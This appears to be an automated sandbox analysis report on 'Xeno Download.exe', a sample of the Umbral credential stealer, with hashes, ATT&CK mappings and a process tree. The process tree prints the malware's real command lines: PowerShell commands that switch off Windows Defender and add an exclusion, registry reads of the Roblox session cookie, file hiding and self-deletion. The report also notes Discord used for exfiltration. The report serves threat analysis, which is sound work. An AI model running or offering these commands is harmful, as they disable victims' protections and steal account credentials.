umbral | 790373ad099621fefbbe0df00c3c9c1bc671d5f5aacca55f37e844e3d8b517ce

Analysis

max time kernel
6s
max time network
7s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
25-01-2025 03:52

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General

Target

Xeno Download.exe
Size

231KB
MD5

172d2aa12988e776eaf589bb2a512827
SHA1

f30c2d9a29a2e853ffa77205b4a2548cc0cef8af
SHA256

790373ad099621fefbbe0df00c3c9c1bc671d5f5aacca55f37e844e3d8b517ce
SHA512

b417e81f10b9c24bf3e6cb4852a8455d26ecc4462604a709ea9a11c1a25f674f1e890818f196111f44e2c2956117cd5726119c01b20c1286a92a4485c631f4f2
SSDEEP

6144:RloZM+rIkd8g+EtXHkv/iD4kFu9IuphCln6opNswlb8e1mXlExi:joZtL+EP8kFu9IuphCln6opNsw2p

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/296-1-0x0000000000890000-0x00000000008D0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2728	powershell.exe
2044	powershell.exe
796	powershell.exe
1432	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Xeno Download.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1448	cmd.exe
2356	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1712	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2356	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
296	Xeno Download.exe
2728	powershell.exe
796	powershell.exe
1432	powershell.exe
648	powershell.exe
2044	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	296	Xeno Download.exe
Token: SeIncreaseQuotaPrivilege	2708	wmic.exe
Token: SeSecurityPrivilege	2708	wmic.exe
Token: SeTakeOwnershipPrivilege	2708	wmic.exe
Token: SeLoadDriverPrivilege	2708	wmic.exe
Token: SeSystemProfilePrivilege	2708	wmic.exe
Token: SeSystemtimePrivilege	2708	wmic.exe
Token: SeProfSingleProcessPrivilege	2708	wmic.exe
Token: SeIncBasePriorityPrivilege	2708	wmic.exe
Token: SeCreatePagefilePrivilege	2708	wmic.exe
Token: SeBackupPrivilege	2708	wmic.exe
Token: SeRestorePrivilege	2708	wmic.exe
Token: SeShutdownPrivilege	2708	wmic.exe
Token: SeDebugPrivilege	2708	wmic.exe
Token: SeSystemEnvironmentPrivilege	2708	wmic.exe
Token: SeRemoteShutdownPrivilege	2708	wmic.exe
Token: SeUndockPrivilege	2708	wmic.exe
Token: SeManageVolumePrivilege	2708	wmic.exe
Token: 33	2708	wmic.exe
Token: 34	2708	wmic.exe
Token: 35	2708	wmic.exe
Token: SeIncreaseQuotaPrivilege	2708	wmic.exe
Token: SeSecurityPrivilege	2708	wmic.exe
Token: SeTakeOwnershipPrivilege	2708	wmic.exe
Token: SeLoadDriverPrivilege	2708	wmic.exe
Token: SeSystemProfilePrivilege	2708	wmic.exe
Token: SeSystemtimePrivilege	2708	wmic.exe
Token: SeProfSingleProcessPrivilege	2708	wmic.exe
Token: SeIncBasePriorityPrivilege	2708	wmic.exe
Token: SeCreatePagefilePrivilege	2708	wmic.exe
Token: SeBackupPrivilege	2708	wmic.exe
Token: SeRestorePrivilege	2708	wmic.exe
Token: SeShutdownPrivilege	2708	wmic.exe
Token: SeDebugPrivilege	2708	wmic.exe
Token: SeSystemEnvironmentPrivilege	2708	wmic.exe
Token: SeRemoteShutdownPrivilege	2708	wmic.exe
Token: SeUndockPrivilege	2708	wmic.exe
Token: SeManageVolumePrivilege	2708	wmic.exe
Token: 33	2708	wmic.exe
Token: 34	2708	wmic.exe
Token: 35	2708	wmic.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	796	powershell.exe
Token: SeDebugPrivilege	1432	powershell.exe
Token: SeDebugPrivilege	648	powershell.exe
Token: SeIncreaseQuotaPrivilege	1732	wmic.exe
Token: SeSecurityPrivilege	1732	wmic.exe
Token: SeTakeOwnershipPrivilege	1732	wmic.exe
Token: SeLoadDriverPrivilege	1732	wmic.exe
Token: SeSystemProfilePrivilege	1732	wmic.exe
Token: SeSystemtimePrivilege	1732	wmic.exe
Token: SeProfSingleProcessPrivilege	1732	wmic.exe
Token: SeIncBasePriorityPrivilege	1732	wmic.exe
Token: SeCreatePagefilePrivilege	1732	wmic.exe
Token: SeBackupPrivilege	1732	wmic.exe
Token: SeRestorePrivilege	1732	wmic.exe
Token: SeShutdownPrivilege	1732	wmic.exe
Token: SeDebugPrivilege	1732	wmic.exe
Token: SeSystemEnvironmentPrivilege	1732	wmic.exe
Token: SeRemoteShutdownPrivilege	1732	wmic.exe
Token: SeUndockPrivilege	1732	wmic.exe
Token: SeManageVolumePrivilege	1732	wmic.exe
Token: 33	1732	wmic.exe
Token: 34	1732	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 296 wrote to memory of 2708	296	Xeno Download.exe	30
PID 296 wrote to memory of 2708	296	Xeno Download.exe	30
PID 296 wrote to memory of 2708	296	Xeno Download.exe	30
PID 296 wrote to memory of 2584	296	Xeno Download.exe	33
PID 296 wrote to memory of 2584	296	Xeno Download.exe	33
PID 296 wrote to memory of 2584	296	Xeno Download.exe	33
PID 296 wrote to memory of 2728	296	Xeno Download.exe	35
PID 296 wrote to memory of 2728	296	Xeno Download.exe	35
PID 296 wrote to memory of 2728	296	Xeno Download.exe	35
PID 296 wrote to memory of 796	296	Xeno Download.exe	37
PID 296 wrote to memory of 796	296	Xeno Download.exe	37
PID 296 wrote to memory of 796	296	Xeno Download.exe	37
PID 296 wrote to memory of 1432	296	Xeno Download.exe	39
PID 296 wrote to memory of 1432	296	Xeno Download.exe	39
PID 296 wrote to memory of 1432	296	Xeno Download.exe	39
PID 296 wrote to memory of 648	296	Xeno Download.exe	41
PID 296 wrote to memory of 648	296	Xeno Download.exe	41
PID 296 wrote to memory of 648	296	Xeno Download.exe	41
PID 296 wrote to memory of 1732	296	Xeno Download.exe	43
PID 296 wrote to memory of 1732	296	Xeno Download.exe	43
PID 296 wrote to memory of 1732	296	Xeno Download.exe	43
PID 296 wrote to memory of 1052	296	Xeno Download.exe	45
PID 296 wrote to memory of 1052	296	Xeno Download.exe	45
PID 296 wrote to memory of 1052	296	Xeno Download.exe	45
PID 296 wrote to memory of 1120	296	Xeno Download.exe	47
PID 296 wrote to memory of 1120	296	Xeno Download.exe	47
PID 296 wrote to memory of 1120	296	Xeno Download.exe	47
PID 296 wrote to memory of 2044	296	Xeno Download.exe	49
PID 296 wrote to memory of 2044	296	Xeno Download.exe	49
PID 296 wrote to memory of 2044	296	Xeno Download.exe	49
PID 296 wrote to memory of 1712	296	Xeno Download.exe	51
PID 296 wrote to memory of 1712	296	Xeno Download.exe	51
PID 296 wrote to memory of 1712	296	Xeno Download.exe	51
PID 296 wrote to memory of 1448	296	Xeno Download.exe	53
PID 296 wrote to memory of 1448	296	Xeno Download.exe	53
PID 296 wrote to memory of 1448	296	Xeno Download.exe	53
PID 1448 wrote to memory of 2356	1448	cmd.exe	55
PID 1448 wrote to memory of 2356	1448	cmd.exe	55
PID 1448 wrote to memory of 2356	1448	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2584	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Xeno Download.exe
"C:\Users\Admin\AppData\Local\Temp\Xeno Download.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:296
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2708
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Xeno Download.exe"
  2⤵
  - Views/modifies file attributes
  PID:2584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Xeno Download.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:648
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1732
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1052
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2044
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1712
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Xeno Download.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1448
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2356

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
5c3e774c81b8fea6bdd3e48502818c63

SHA1
8dbe9b8ea1b84755bec6aadbbab808534b91381f

SHA256
ec77d6e7e788c0ee4ce48940d86526c6251cea33efc833c213608a5cfc397c1c

SHA512
e573f0a6e0557f9cc599c74b86279a0f73ba1a5f77605716a47cb7d0b684ca90d70de25e016293fc9bfe67cae1b06977663c677a88d995087530e56741610eb1

Download Submit
memory/296-0-0x000007FEF5783000-0x000007FEF5784000-memory.dmp

Filesize
4KB

Download
memory/296-1-0x0000000000890000-0x00000000008D0000-memory.dmp

Filesize
256KB

Download
memory/296-2-0x000007FEF5780000-0x000007FEF616C000-memory.dmp

Filesize
9.9MB

Download
memory/296-47-0x000007FEF5780000-0x000007FEF616C000-memory.dmp

Filesize
9.9MB

Download
memory/796-14-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/796-15-0x0000000001E00000-0x0000000001E08000-memory.dmp

Filesize
32KB

Download
memory/2044-43-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/2728-8-0x0000000001CE0000-0x0000000001CE8000-memory.dmp

Filesize
32KB

Download
memory/2728-7-0x000000001B770000-0x000000001BA52000-memory.dmp

Filesize
2.9MB

Download